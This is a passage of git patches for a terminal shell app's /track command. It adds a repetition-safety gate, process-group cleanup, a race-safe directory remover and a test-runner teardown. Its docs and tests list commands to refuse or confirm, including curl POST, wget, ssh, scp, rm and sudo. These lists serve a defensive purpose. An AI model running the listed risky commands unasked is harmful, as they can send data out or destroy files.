= (name: string, body: string) => { writeFileSync(join(home, name), `#!/bin/sh\n${body}\n`); chmodSync(join(home, name), 0o755); }; + script('slow.sh', 'echo $$ >> slow.pids\nsleep 3\necho SLOW-RESULT'); + script('fail.sh', 'echo FAIL-RESULT\nexit 3'); + writeFileSync(join(home, 'big.txt'), `${Array.from({length: 5_000}, (_, index) => `big-line-${index}`).join('\n')}\n`); + const frontend = sandbox.launch([], {cols: 100, rows: 48}); + // Commands NMSh can't vouch for ask first: Yes starts them. + const confirmed = async (command: string) => { + const mark = frontend.mark; + frontend.pty.write(`/track --every 2s -- ${command}\r`); + await frontend.waitFor(new RegExp(`Track ${command.replace(/[.*+?^${}()|[\]\\/]/gu, '\\$&')}\\?`, 'u'), mark); + frontend.pty.write('y'); + frontend.pty.write('\r'); + await frontend.waitFor(/Tracking /u, mark); + }; + try { + await frontend.waitFor(/Vespyr|notMyShell|zsh/u); + await frontend.run('echo READY', /READY/u); + let mark = frontend.mark; + await confirmed('./slow.sh'); + await frontend.waitFor(/SLOW-RESULT/u, mark); + // A refresh that takes a while shows as refreshing over the previous result (#420), then completes in place. + await frontend.waitFor(/live · every 2s[^\n]*refreshing…/u, mark); + mark = frontend.mark; + await confirmed('./fail.sh'); + await frontend.waitFor(/live · every 2s · updated \d\d:\d\d:\d\d · exit 3/u, mark); + mark = frontend.mark; + await confirmed('nmsh-no-such-command-393'); + await frontend.waitFor(/exit 127/u, mark); + mark = frontend.mark; + frontend.pty.write('/track --every 2s -- cat big.txt\r'); + await frontend.waitFor(/big-line-0[\s\S]*… 4,?989 more lines · \/track copy copies them all/u, mark); + // Four trackers: one summary row above the composer, not one row each. + await frontend.waitFor(/4 trackers · 2 failing · \/track opens the manager/u, mark); + // Narrower and back: the trackers keep drawing, the shell stays usable. + frontend.pty.resize(56, 48); + await frontend.run('echo NARROW-OK', /NARROW-OK/u); + frontend.pty.resize(100, 48); + await frontend.run('echo SHELL-STILL-HERE', /SHELL-STILL-HERE/u); + mark = frontend.mark; + frontend.pty.write('/track stop all\r'); + await frontend.waitFor(/Stopped every tracker/u, mark); + await frontend.waitFor(/(?:Stopped · last result[\s\S]*){4}/u, mark); + const pids = readFileSync(join(home, 'slow.pids'), 'utf8').trim().split('\n').map(Number); + await until(() => pids.every(pid => !processAlive(pid)), 10_000, 'every tracked process to end'); + await frontend.run('echo AFTER-ALL', /AFTER-ALL/u); + } finally { await sandbox.dispose(); } +}); + +for (const shell of ['bash', 'fish'] as const) { + const installed = Boolean(shellAdapter(shell).resolveExecutable(process.env)); + test(`live: /track from ${shell} finds what the live shell's PATH finds, including a change made after startup`, {skip: !supported ? 'unsupported platform' : !installed && `${shell} is not installed`, timeout: 120_000}, async () => { + const sandbox = new LiveSandbox({provider: 'none', shellBackend: shell}); + const tools = join(sandbox.home, 'tools'); + mkdirSync(tools); + writeFileSync(join(tools, 'nmsh-track-tool'), '#!/bin/sh\necho TOOL-FROM-SHELL-PATH\n'); + chmodSync(join(tools, 'nmsh-track-tool'), 0o755); + const frontend = sandbox.launch([], {cols: 100, rows: 40}); + try { + await frontend.waitFor(/Vespyr|notMyShell|bash|fish/u); + await frontend.run('echo READY', /READY/u); + await frontend.run(shell === 'fish' ? `set -gx PATH ${tools} $PATH; echo PATH-SET` : `export PATH="${tools}:$PATH"; echo PATH-SET`, /PATH-SET/u); + let mark = frontend.mark; + frontend.pty.write('/track --every 2s -- nmsh-track-tool\r'); + await frontend.waitFor(/Track nmsh-track-tool\?/u, mark); + frontend.pty.write('y'); + frontend.pty.write('\r'); + await frontend.waitFor(/live · every 2s[\s\S]*TOOL-FROM-SHELL-PATH/u, mark); + mark = frontend.mark; + frontend.pty.write('/track stop\r'); + await frontend.waitFor(/Stopped · last result[\s\S]*TOOL-FROM-SHELL-PATH/u, mark); + await frontend.run('echo AFTER-TRACK', /AFTER-TRACK/u); + } finally { await sandbox.dispose(); } + }); +} From 24af7d487e981bd128175e5a1cad769874a3d723 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Sun, 18 Oct 2026 16:42:50 +0530 Subject: [PATCH 027/157] /track docs: the repetition gate, process cleanup, the summary row and new physical checks Refs #393, #416, #420 --- CHANGELOG.md | 3 ++ .../development/track-live-command-refresh.md | 30 +++++++++++++++---- docs/testing/v021-physical-qa.md | 12 +++++++- 3 files changed, 39 insertions(+), 6 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 862aad11..6162170d 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -23,6 +23,9 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/). - Multi-line progress displays that redraw their own rows (cursor up and erase line, as concurrent downloads and container pulls do) now update in place instead of leaving a copy of every frame in the transcript ([#388](https://github.com/raiseCatError/notMyShell/issues/388)). A program can redraw only its own recent rows, at most a screen height up, never NMSh's lines or earlier commands; `/copy` copies the final rows once. Absolute cursor positioning keeps the previous behavior. - A queued command whose command word was still being classified when the next prompt reported new shell knowledge no longer keeps the unclassified color ([#408](https://github.com/raiseCatError/notMyShell/issues/408)). +- Paste review and `/track`: a redirect into a file is recognized wherever `>/dev/null` also appears (`echo x > ~/.zshrc 2>/dev/null` was labelled read-only), and `>|` is a redirection, not a pipe. +- `/track` and `/watch` no longer start, without asking, commands that change things through the network or another command: `env `, `NAME=value` prefixes, git's `-c`/`--ext-diff`, `npm publish`/`login`/`x`, `pnpm dlx`, `ssh`, `curl -X POST`/`-d`/`-o file`, plain `wget`; options that write files (`git … --output`, `sort -o`, `jest -u`, `--fix`) are refused. Read-only probes (`ping`, `dig`, `nc -z`, a curl GET) still start at once, and `npm test 2>&1` is no longer refused as a background job ([#393](https://github.com/raiseCatError/notMyShell/issues/393)). +- `/track stop` and a closing window end every process a tracked command left in its process group, including one that ignored TERM; a tracker whose directory disappeared names it instead of reporting `spawn /bin/sh ENOENT`. ## [0.20.0] - 2026-10-18 diff --git a/docs/development/track-live-command-refresh.md b/docs/development/track-live-command-refresh.md index 01366024..7e5c89e8 100644 --- a/docs/development/track-live-command-refresh.md +++ b/docs/development/track-live-command-refresh.md @@ -31,6 +31,10 @@ keeps a command's own flags from reading as NMSh's. - Live rows are presentation: find, selection and `/copy` never include them, and nothing accumulates per refresh. - Stopping a tracker (`/track stop`, or S in the manager) writes its **last result once** into the transcript, so history keeps it. A tracker whose window closes leaves only its stored lines. +- Above the composer, each active tracker has a compact row; with more than two, one summary row (`4 trackers · 1 + failing · /track opens the manager`) replaces them. `clear` removes the block from the transcript; the tracker keeps + running and stays in the manager. +- Safe glyphs use ASCII state marks (`*` live, `=` paused, `o` pending, `#` stopped). ## Execution and safety @@ -40,13 +44,29 @@ keeps a command's own flags from reading as NMSh's. - Default interval 5 s; at least 2 s locally and 15 s for remote network targets; at most 60 minutes. Invalid intervals fail before anything runs. At most 8 active trackers. A sample never overlaps another of the same tracker; a refresh while one runs is refused with the reason. -- Repeated commands can repeat side effects. Read-only commands (and the exact `docker system df`) start at once; - unknown ones need an explicit Yes; installing, modifying, destroying, privileged, downloaded-code, `cd`, substitution, - background (`&`) and heredoc commands are refused. +- Repeated commands can repeat side effects, so repetition has its own gate (`src/tasks/repeatSafety.ts`) on top of + the shared command classifier, and it asks when unsure: + - **Start at once:** read-only commands, test and check runners, the exact `docker system df`, and read-only network + probes: `ping`, `dig`, `nslookup`, `host`, `traceroute`, `nc -z`, a curl GET or HEAD to standard output (or + `-o /dev/null`), `wget -O -` or `--spider`, and package queries (`npm view`, `outdated`, `audit`). + - **Ask first (an explicit Yes):** unknown commands; `NAME=value` prefixes and `env ` (they change or run + another command); git's `-c`, `--config-env`, `--exec-path` and `--ext-diff`; `git fetch`; anything that sends + data, saves files, signs in, publishes or runs a downloaded package (`curl -X POST`, `-d`, `-o file`, non-HTTP + URLs, plain `wget`, `ssh`, `sftp`, HTTPie, `npm publish`, `npm login`, `npm x`, `pnpm dlx`, `npm audit fix`). + Network targets other than this computer also ask, and their minimum interval is 15 s. + - **Refused:** installing, modifying, destroying, privileged, downloaded-code and `cd` commands; substitutions, + background `&` and heredocs; any output redirection into a file (judged per redirection, so `2>/dev/null` never + excuses `> file`; `2>&1` is fine); options that write or update files (`git … --output`, `sort -o`, `find + -fprint`/`-fls`, `tree -o`, `yq -i`, `--fix`, `--write`, `jest -u`, snapshot updates); `scp` and `rsync` (except + a dry run); `--watch` modes that never finish; shutdown, reboot, halt and power-off. - Each sample keeps at most 200 kB of stdout and stderr (decoded as UTF-8 across chunk boundaries), says when it was cut, and has its terminal control sequences removed. A sample is stopped after the lesser of 60 s or three - intervals and shown as timed out. Stopping signals the owned process group (TERM, then KILL after a grace period); - processes that deliberately leave the group are not followed. + intervals and shown as timed out. Stopping signals the owned process group (TERM, then KILL after a grace period). + When a sample ends, anything still in its process group (a child that ignored TERM, or one that closed its output and + kept running) gets TERM and then KILL, so trackers never accumulate processes; a closing window waits for that + bounded grace period. Processes that deliberately leave the group (`setsid`, daemons) are not followed. +- A tracker whose directory disappears says so (`the directory … is no longer available`) and keeps trying at its + interval, so a remounted volume resumes on its own. ## Ownership and limits diff --git a/docs/testing/v021-physical-qa.md b/docs/testing/v021-physical-qa.md index b4fe9763..7dfc545c 100644 --- a/docs/testing/v021-physical-qa.md +++ b/docs/testing/v021-physical-qa.md @@ -103,9 +103,19 @@ - [ ] 5.5 `/track copy` copies only the latest result; find (Ctrl+F) never matches the live rows. - [ ] 5.6 `/track stop`: the last result appears once in the transcript; `/resume` of the saved session shows it without any per-refresh copies. -- [ ] 5.7 An unknown command asks for Yes first; `rm`, `sudo`, `cd`, `$(...)`, `&` and heredocs are refused. +- [ ] 5.7 An unknown command asks for Yes first ("Track …?"); `rm`, `sudo`, `cd`, `$(...)`, `&` and heredocs are + refused. Also refused: `/track echo x > /tmp/t 2>/dev/null`, `/track git log --output=/tmp/t`, `/track npx jest -u`. + Asks first: `/track env ls`, `/track curl -X POST http://localhost:1/`, `/track npm publish`, `/track ssh localhost + true`. Starts at once: `/track npm test 2>&1`, `/track curl -s http://localhost:1/` (fails, shows the exit code). - [ ] 5.8 Close the window with a tracker running: no `sh` or command processes are left (`ps`). `/watch git status` still opens its manager. +- [ ] 5.9 Four trackers at once (`ls`, `df -h`, `cat f.txt`, a failing one): each block refreshes on its own, the + composer area shows one `4 trackers · 1 failing` row, narrowing the window to 60 columns and back keeps every block + readable, and `/track stop all` leaves each last result once. +- [ ] 5.10 `/track --every 2s -- sh -c 'trap "" TERM; exec >/dev/null 2>&1; exec sleep 300'` (Yes), then `/track stop`: + within 3 seconds `pgrep -f "sleep 300"` finds nothing. +- [ ] 5.11 Safe glyphs (Settings → Appearance) and `NO_COLOR=1`: the status marks are ASCII (`*`, `=`, `#`) and the + status still says live, paused or stopped in words. ## 6. Native modules and diagnostics From 9780d4d75d3e345c750e86287d0fcd1ed9bda7a7 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Sun, 18 Oct 2026 16:43:20 +0530 Subject: [PATCH 028/157] /track: keep refusing `&>`, a background job in the POSIX sh that runs samples dash reads `cmd &>/dev/null` as `cmd &` followed by an empty redirection, so the command would run detached. Descriptor duplication (`2>&1`, `>&2`) stays allowed. Refs #393, #420 --- src/tasks/WatchTasks.ts | 5 +++-- tests/trackSafety.test.ts | 5 ++++- 2 files changed, 7 insertions(+), 3 deletions(-) diff --git a/src/tasks/WatchTasks.ts b/src/tasks/WatchTasks.ts index 9503efd9..ca021c43 100644 --- a/src/tasks/WatchTasks.ts +++ b/src/tasks/WatchTasks.ts @@ -40,8 +40,9 @@ export function watchSafety(command: string): WatchSafety { return {kind: 'refused', reason: 'Shell and process substitutions cannot be tracked repeatedly.'}; } // Detached shell jobs would outlive the observed sample and multiply on every tick; heredocs also need a different - // stdin/input-ownership contract. `&&`, descriptor duplication (`2>&1`) and `&>` are not background operators. - if (/(?:^|[^&<>])&(?![&>])|<&1`, `>&2`) are not background operators; `&>` + // is one for the POSIX sh that runs samples (dash reads `cmd &>file` as `cmd &` then `>file`), so it stays refused. + if (/(?:^|[^&<>])&(?!&)|< classifyCommand(part.text, part.pipedFrom).includes('modifies')), `paste review: ${command}`); assert.equal(kind(command), 'refused', command); } - for (const command of ['ls >/dev/null', 'ls 2>/dev/null', 'npm test 2>&1', 'ls >&2', 'ls 2>&1 | tail -5', 'ls &>/dev/null', 'echo "a > b"', "echo 'x >y'", 'echo a\\>b', 'ls >&-']) { + for (const command of ['ls >/dev/null', 'ls 2>/dev/null', 'npm test 2>&1', 'ls >&2', 'ls 2>&1 | tail -5', 'echo "a > b"', "echo 'x >y'", 'echo a\\>b', 'ls >&-']) { assert.ok(!writesFiles(command), command); assert.notEqual(kind(command), 'refused', command); } assert.deepEqual(splitCommands('ls >| out').map(part => part.text), ['ls >| out'], '>| is a redirection, not a pipe'); + // POSIX sh (dash) reads `cmd &>/dev/null` as a background job: never repeated, even to /dev/null. + assert.equal(watchSafety('ls &>/dev/null').kind, 'refused'); + assert.equal(watchSafety('ls &>/dev/null').kind === 'refused' && watchSafety('ls &>/dev/null').reason, 'Background operators and heredocs cannot be tracked safely.'); }); test('/track asks before a command that runs another command or changes its environment', () => { From 8401275a90f23c677b6609bb3eba00d9f6012a7e Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Sun, 18 Oct 2026 17:04:37 +0530 Subject: [PATCH 029/157] Background tasks: an exit is reported once the group's fate is known, never "processes left" by guess backgroundSession.test.ts:92 (macOS CI on #417) refused to remove a task that had just exited: "a running task, or one whose processes still run, is never removed". Root cause: when the command's leader exited, the supervisor finished the task with `leftovers = group.alive`, but `alive` is the guard's own liveness (the guard is a member of the group and confirms it is empty with `ps` before it exits). Every task that exited cleanly was therefore reported, for one guard probe (tens of ms, longer under load), as "exited, processes left", with Delete refused; users saw the red "processes of this task still run" row flicker. The test removed the task inside that window on a loaded runner (reproduced 3 of 60 under 10x parallel load). The guard now says once when members remain (a `left` marker beside its `exit` file), and the supervisor finishes a cleanly exited leader only on the guard's verdict: the guard exits (nothing left) or marks what is left. If the guard cannot tell within 3 s (its ps keeps failing), something is reported as left, as before. A stop requested meanwhile keeps the stopping semantics. New test: a task that leaves nothing behind is never reported with leftovers, even for a moment, and is removable at once (fails on the old supervisor every run). Refs #410 --- src/backgroundTasks/supervisor.ts | 25 ++++++++++++++++++++----- src/backgroundTasks/taskGroup.ts | 5 +++++ src/backgroundTasks/taskGroupGuard.ts | 6 ++++++ tests/backgroundSupervisor.test.ts | 12 ++++++++++++ 4 files changed, 43 insertions(+), 5 deletions(-) diff --git a/src/backgroundTasks/supervisor.ts b/src/backgroundTasks/supervisor.ts index 4c3e5cb2..583b7b33 100644 --- a/src/backgroundTasks/supervisor.ts +++ b/src/backgroundTasks/supervisor.ts @@ -79,12 +79,16 @@ interface LiveTask { /** The live guard owns signalling from inside its group; no numeric group id is retained. */ group?: TaskGroup; leaderExited?: boolean; + /** Since when the leader's exit waits for the guard's verdict on the rest of the group (performance.now()). */ + verdictSince?: number; pending?: ReturnType; /** Observes the command leader separately from the guard's eventual exit. */ watch?: ReturnType; } const ORDER: readonly StopLevel[] = ['interrupt', 'terminate', 'kill']; +/** How long a finished leader waits for the guard's verdict when it cannot get one (its `ps` keeps failing). */ +const VERDICT_MS = 3000; export class BackgroundTaskSupervisor { private readonly tasks = new Map(); @@ -124,11 +128,20 @@ export class BackgroundTaskSupervisor { this.tasks.set(id, task); pty.onData(data => { task.output.append(data); this.changed(task); }); const observeLeader = () => { - if (task.leaderExited) return; - const exit = task.group?.leaderExit(); - if (exit) { + if (!task.leaderExited) { + const exit = task.group?.leaderExit(); + if (!exit) return; + task.leaderExited = true; + this.exited(task, exit.exitCode, exit.signal); + } + // The command has exited. The guard decides how it ended: it exits when nothing else of the group runs (onExit + // below), or says that something does. Only if it cannot tell in time is something reported as left. + if (task.verdictSince === undefined) { clearInterval(task.watch); task.watch = undefined; return; } + if (task.group?.leftBehind() || performance.now() - task.verdictSince > VERDICT_MS) { + task.verdictSince = undefined; clearInterval(task.watch); task.watch = undefined; - task.leaderExited = true; this.exited(task, exit.exitCode, exit.signal); + if (task.record.stopRequested) { task.record.leftovers = true; this.changed(task, true); } + else this.finish(task); } }; task.watch = setInterval(observeLeader, 25); @@ -140,7 +153,7 @@ export class BackgroundTaskSupervisor { clearInterval(task.watch); task.watch = undefined; if (!task.leaderExited) this.exited(task, exitCode, signal); - else if (task.record.state === 'stopping') this.finish(task); + else if (task.record.state === 'stopping' || task.verdictSince !== undefined) { task.verdictSince = undefined; this.finish(task); } else { task.record.leftovers = false; this.changed(task, true); } }); this.changed(task, true); @@ -236,6 +249,8 @@ export class BackgroundTaskSupervisor { this.changed(task, true); return; } + // Whether anything else of the group still runs is not known yet: wait for the guard's verdict, never guess. + if (task.group?.alive === true) { task.verdictSince = performance.now(); return; } this.finish(task); } diff --git a/src/backgroundTasks/taskGroup.ts b/src/backgroundTasks/taskGroup.ts index 9c011597..537d3aaa 100644 --- a/src/backgroundTasks/taskGroup.ts +++ b/src/backgroundTasks/taskGroup.ts @@ -53,6 +53,11 @@ export class TaskGroup { return undefined; } + /** The guard found members of the group still running after the command's leader exited. */ + leftBehind(): boolean { + try { return readFileSync(join(this.directory, 'left'), 'utf8') === '1'; } catch { return false; } + } + close(): void { this.alive = false; rmSync(this.directory, {recursive: true, force: true}); diff --git a/src/backgroundTasks/taskGroupGuard.ts b/src/backgroundTasks/taskGroupGuard.ts index 771c0ad6..ec413203 100644 --- a/src/backgroundTasks/taskGroupGuard.ts +++ b/src/backgroundTasks/taskGroupGuard.ts @@ -35,6 +35,7 @@ const saveExit = (exitCode: number, signal?: number) => { child.on('error', () => saveExit(127)); child.on('exit', (code, signal) => saveExit(code ?? 0, signal ? constants.signals[signal] : undefined)); let lastProbe = -Infinity; +let reported = false; const poll = setInterval(() => { // An orphaned guard owns its group, never the former parent's possibly recycled PID. if (process.ppid !== parent) { rmSync(directory, {recursive: true, force: true}); process.kill(0, 'SIGKILL'); } @@ -49,4 +50,9 @@ const poll = setInterval(() => { return Number(pgid) === process.pid && Number(pid) !== process.pid && Number(ppid) !== process.pid && !state?.startsWith('Z'); }); if (!members) { clearInterval(poll); process.exit(0); } + // Say once that members remain, so the supervisor reports them now instead of waiting for this guard to exit. + if (!reported) { + reported = true; + try { writeFileSync(`${directory}/left-next`, '1', {mode: 0o600}); renameSync(`${directory}/left-next`, `${directory}/left`); } catch { /* The supervisor's bound applies. */ } + } }, 25); diff --git a/tests/backgroundSupervisor.test.ts b/tests/backgroundSupervisor.test.ts index dbcd13c1..a61c30c9 100644 --- a/tests/backgroundSupervisor.test.ts +++ b/tests/backgroundSupervisor.test.ts @@ -109,6 +109,18 @@ test('a pipeline stops as a whole; a detached helper it started (like the adb se }); }); +test('a task that leaves nothing behind is never reported as having processes left, even for a moment; it is removable once exited', async () => { + await withSupervisor(async (supervisor, cwd, changes) => { + for (let run = 0; run < 5; run += 1) { + const {task} = supervisor.start({command: `printf 'done ${run}\\n'`, cwd, shell: SHELL, env: env()}) as {ok: true; task: TaskRecord}; + await waitFor(() => supervisor.get(task.id)!.state === 'exited', 'exited'); + assert.deepEqual(changes.filter(change => change.id === task.id && change.leftovers).map(change => change.state), [], + 'the guard still being alive is not a process left behind'); + assert.equal(supervisor.remove(task.id), true, 'exited with nothing left: removable at once'); + } + }); +}); + test('processes left in the group after the leader exits are reported, and killed only on request', async () => { await withSupervisor(async (supervisor, cwd) => { const {task} = supervisor.start({command: afterSleeperReady(cwd, '60000', 'sleep 1; exit 0'), cwd, shell: SHELL, env: env()}) as {ok: true; task: TaskRecord}; From 9d046cce8a78cb83edc56c33220702c162fe5556 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Sun, 18 Oct 2026 17:04:37 +0530 Subject: [PATCH 030/157] Configured completion: its private directory is gone when a startup timeout returns configuredCompletion.test.ts:89 (Ubuntu CI on #417) found the helper's private root still present right after a startup timeout. At that moment two parties remove it (NMSh's reset and the helper's own EXIT trap `rm -rf`) while a helper shell may still write its pid file into it. rmSync then threw ENOTEMPTY (macOS, 39 of 300 rounds in a reproduction) or, on Linux with Node 26, returned normally with the directory still there (24 of 300), and a throw from reset escaped a timer. removeDirectoryNow renames the directory into a fresh sibling first (atomic, same filesystem), so no path to it remains for a late write or a concurrent remover, then removes the renamed copy in a few bounded passes (GNU rm works through directory descriptors and can follow the rename) and never throws. The new test races a writer-and-remover against it 120 times; plain rmSync fails it on both platforms. Refs #410 --- src/shell/ConfiguredCompletion.ts | 4 +++- src/util/removeDirectory.ts | 27 +++++++++++++++++++++++ tests/removeDirectory.test.ts | 36 +++++++++++++++++++++++++++++++ 3 files changed, 66 insertions(+), 1 deletion(-) create mode 100644 src/util/removeDirectory.ts create mode 100644 tests/removeDirectory.test.ts diff --git a/src/shell/ConfiguredCompletion.ts b/src/shell/ConfiguredCompletion.ts index 582f5ea7..ecedeef1 100644 --- a/src/shell/ConfiguredCompletion.ts +++ b/src/shell/ConfiguredCompletion.ts @@ -4,6 +4,7 @@ import {mkdtempSync, writeFileSync, readFileSync, rmSync, existsSync, statSync} import {tmpdir} from 'node:os'; import {dirname, join} from 'node:path'; import {fileURLToPath} from 'node:url'; +import {removeDirectoryNow} from '../util/removeDirectory.js'; import {commandIdentity, completionLabel, type CompletionCandidate, type CompletionContext, type CompletionSource} from './completion.js'; const MAX_BYTES = 1024 * 1024; @@ -124,7 +125,8 @@ export class ConfiguredCompletionSource implements CompletionSource { } this.wait?.resolve(false); this.wait = undefined; - if (this.root) rmSync(this.root, {recursive: true, force: true}); + // The helper's own cleanup may be removing it, and a shell may still write its pid file, at this moment. + if (this.root) removeDirectoryNow(this.root); this.root = undefined; this.output = ''; } diff --git a/src/util/removeDirectory.ts b/src/util/removeDirectory.ts new file mode 100644 index 00000000..a5cf4175 --- /dev/null +++ b/src/util/removeDirectory.ts @@ -0,0 +1,27 @@ +import {existsSync, mkdtempSync, renameSync, rmSync} from 'node:fs'; +import {basename, dirname, join} from 'node:path'; + +/** + * Remove a private directory that helper processes may still be writing into or removing themselves. `rmSync` alone is + * not enough then: a file created during its walk made it throw ENOTEMPTY, and on Linux a concurrent `rm -rf` made it + * return with the directory still there. Renaming the directory away first (atomic, same filesystem) leaves no path to + * it for anyone to write into, so the path is gone when this returns; the renamed copy is then removed. Never throws. + */ +export function removeDirectoryNow(path: string): void { + let grave: string | undefined; + try { + grave = mkdtempSync(join(dirname(path), `${basename(path)}-gone-`)); + renameSync(path, join(grave, 'directory')); + } catch { /* Already gone, or not movable: removed where it is below. */ } + for (const target of grave ? [grave, path] : [path]) removeAll(target); +} + +function removeAll(target: string): void { + // A remover that already holds the directory open (`rm -rf` works through directory descriptors, so it follows the + // rename) can make one rmSync stop early without an error; another pass finishes what is left. + for (let pass = 0; pass < 5; pass += 1) { + try { rmSync(target, {recursive: true, force: true, maxRetries: 3, retryDelay: 5}); } catch { /* Another pass. */ } + if (!existsSync(target)) return; + } + setTimeout(() => { try { rmSync(target, {recursive: true, force: true}); } catch { /* Best effort. */ } }, 100).unref(); +} diff --git a/tests/removeDirectory.test.ts b/tests/removeDirectory.test.ts new file mode 100644 index 00000000..a3882779 --- /dev/null +++ b/tests/removeDirectory.test.ts @@ -0,0 +1,36 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {spawn} from 'node:child_process'; +import {once} from 'node:events'; +import {existsSync, mkdtempSync, readdirSync, realpathSync, rmSync, writeFileSync} from 'node:fs'; +import {tmpdir} from 'node:os'; +import {join} from 'node:path'; +import {removeDirectoryNow} from '../src/util/removeDirectory.js'; + +// The configured-completion helper's private directory (#417 CI): its shells may write a pid file and its own cleanup +// may `rm -rf` the directory while NMSh removes it. Plain rmSync then threw ENOTEMPTY (macOS) or returned with the +// directory still present (Linux) in roughly one round in ten. +test('a directory another process is writing into and removing is gone when removeDirectoryNow returns', async () => { + const base = realpathSync(mkdtempSync(join(tmpdir(), 'nmsh-rmnow-'))); + try { + for (let round = 0; round < 120; round += 1) { + const root = mkdtempSync(join(base, 'r-')); + for (let index = 0; index < 40; index += 1) writeFileSync(join(root, `f${index}`), 'x'); + const helper = spawn('/bin/sh', ['-c', `i=0; while [ $i -lt 10 ]; do : > '${root}/w'$i 2>/dev/null; i=$((i+1)); done; rm -rf '${root}'`]); + await new Promise(resolve => setTimeout(resolve, round % 5)); + removeDirectoryNow(root); + assert.equal(existsSync(root), false, `round ${round}: the directory is gone`); + if (helper.exitCode === null && helper.signalCode === null) await once(helper, 'close'); + } + assert.deepEqual(readdirSync(base), [], 'no renamed copy is left behind'); + } finally { rmSync(base, {recursive: true, force: true}); } +}); + +test('removeDirectoryNow: a missing directory is fine; nothing outside it is touched', () => { + const base = realpathSync(mkdtempSync(join(tmpdir(), 'nmsh-rmnow-'))); + try { + writeFileSync(join(base, 'keep'), 'x'); + removeDirectoryNow(join(base, 'missing')); + assert.deepEqual(readdirSync(base), ['keep']); + } finally { rmSync(base, {recursive: true, force: true}); } +}); From cd5fafccee03d5cc4fc56d0f2703f0c7a26e248a Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Sun, 18 Oct 2026 17:04:37 +0530 Subject: [PATCH 031/157] Test runner: a test that stalls with a process running fails visibly instead of hanging the run #415's Ubuntu shard sat silent for six minutes until the job limit, with a node test worker and a `fish` still running. The reporter flushes a file's results when the file completes; output stopped after shellAdapters, so the next file, shellContextEnvironment, never completed. A test that passes its timeout is cancelled, but nothing ends what it started: a live shell PTY (there, `start()` and its prompt waits sit outside the try/finally that kills the shell) keeps the file's process alive, its failure is never printed, and the run waits for the CI limit. 121 test files start live sessions this way, so the fix is in the runner. Each test file now preloads test-file-teardown.mjs: once the file's tests are done, an unref'd timer gives the file's own cleanup 15 s; if the process is still alive then, every process it left running (its own process groups, never the runner's) is ended and named on stderr, so the stall surfaces as the test failure it is. The new runner test stalls a file with a piped child: it now ends in about a second with a failure and no child left; without the preload it waits for the child. Refs #410 --- scripts/test-file-teardown.mjs | 49 ++++++++++++++++++++++++++++++++++ scripts/test.mjs | 4 ++- tests/tmpdirHygiene.test.ts | 25 +++++++++++++++++ 3 files changed, 77 insertions(+), 1 deletion(-) create mode 100644 scripts/test-file-teardown.mjs diff --git a/scripts/test-file-teardown.mjs b/scripts/test-file-teardown.mjs new file mode 100644 index 00000000..422ab8a2 --- /dev/null +++ b/scripts/test-file-teardown.mjs @@ -0,0 +1,49 @@ +import {after} from 'node:test'; +import {spawnSync} from 'node:child_process'; + +/** + * Preloaded into every test file's process by scripts/test.mjs. A test that stalls past its timeout is cancelled, but + * whatever it started keeps running: a live shell PTY or a piped child then keeps the file's process alive, the file + * never finishes, its failure is never printed, and a CI job waits for its own time limit (#415's Ubuntu shard). + * Once the file's tests are done, a timer that cannot itself keep the process alive gives the file's own cleanup time + * (NMSH_TEST_TEARDOWN_MS, default 15 s); if the process is still alive then, every process the file left running is + * ended and named, so the stall is reported instead of hanging the run. + */ +if (process.env.NODE_TEST_CONTEXT) { + after(() => { + const delay = Number(process.env.NMSH_TEST_TEARDOWN_MS) || 15_000; + setTimeout(endLeftovers, delay).unref(); + }); +} + +export function endLeftovers() { + const rows = processTable(); + const own = rows.find(row => row.pid === process.pid)?.group; + const left = descendants(rows, process.pid).filter(row => !/(?:^|\/)(?:esbuild|ps)$/u.test(row.command)); + for (const row of left) { + // A leader of its own group (a PTY shell, a detached helper) takes its whole group with it; never our own group. + const target = row.group === row.pid && row.group !== own ? -row.group : row.pid; + try { process.kill(target, 'SIGKILL'); } catch { /* Already gone. */ } + } + if (left.length) process.stderr.write(`test teardown: ended ${left.length} process${left.length === 1 ? '' : 'es'} this file left running: ${left.map(row => `${row.pid} ${row.command}`).join(', ')}\n`); + return left; +} + +function processTable() { + const result = spawnSync('ps', ['-A', '-o', 'pid=,ppid=,pgid=,comm='], {encoding: 'utf8', timeout: 5000, maxBuffer: 8 * 1024 * 1024}); + if (result.status !== 0 || !result.stdout) return []; + return result.stdout.trim().split('\n').map(line => { + const [pid, parent, group, ...command] = line.trim().split(/\s+/u); + return {pid: Number(pid), parent: Number(parent), group: Number(group), command: command.join(' ')}; + }); +} + +function descendants(rows, root) { + const found = []; + const queue = [root]; + while (queue.length) { + const parent = queue.shift(); + for (const row of rows) if (row.parent === parent && row.pid !== root) { found.push(row); queue.push(row.pid); } + } + return found; +} diff --git a/scripts/test.mjs b/scripts/test.mjs index 36f564a2..902711d0 100644 --- a/scripts/test.mjs +++ b/scripts/test.mjs @@ -27,7 +27,9 @@ export async function runTestFiles(files, args = [], {cwd = process.cwd(), stdio // PTY workers also own shell/helper processes. Bound fan-out on larger // development hosts; explicit Node --test-concurrency options still win. const concurrency = testConcurrency(process.env.NMSH_TEST_CONCURRENCY, availableParallelism()); - const child = spawn(process.execPath, ['--import=tsx', '--test', `--test-concurrency=${concurrency}`, ...args, ...files], { + // Each file's process ends what it left running once its tests are done (a stalled test cannot hang the run). + const teardown = new URL('./test-file-teardown.mjs', import.meta.url).href; + const child = spawn(process.execPath, ['--import=tsx', `--import=${teardown}`, '--test', `--test-concurrency=${concurrency}`, ...args, ...files], { cwd, stdio, env, }); let interrupted = false; diff --git a/tests/tmpdirHygiene.test.ts b/tests/tmpdirHygiene.test.ts index 4a4c808e..58ff75b3 100644 --- a/tests/tmpdirHygiene.test.ts +++ b/tests/tmpdirHygiene.test.ts @@ -62,6 +62,31 @@ test('suite runner uses short roots, removes only its own root, and reports norm } finally { rmSync(fixture, {recursive: true, force: true}); } }); +test('a test file that stalls with a 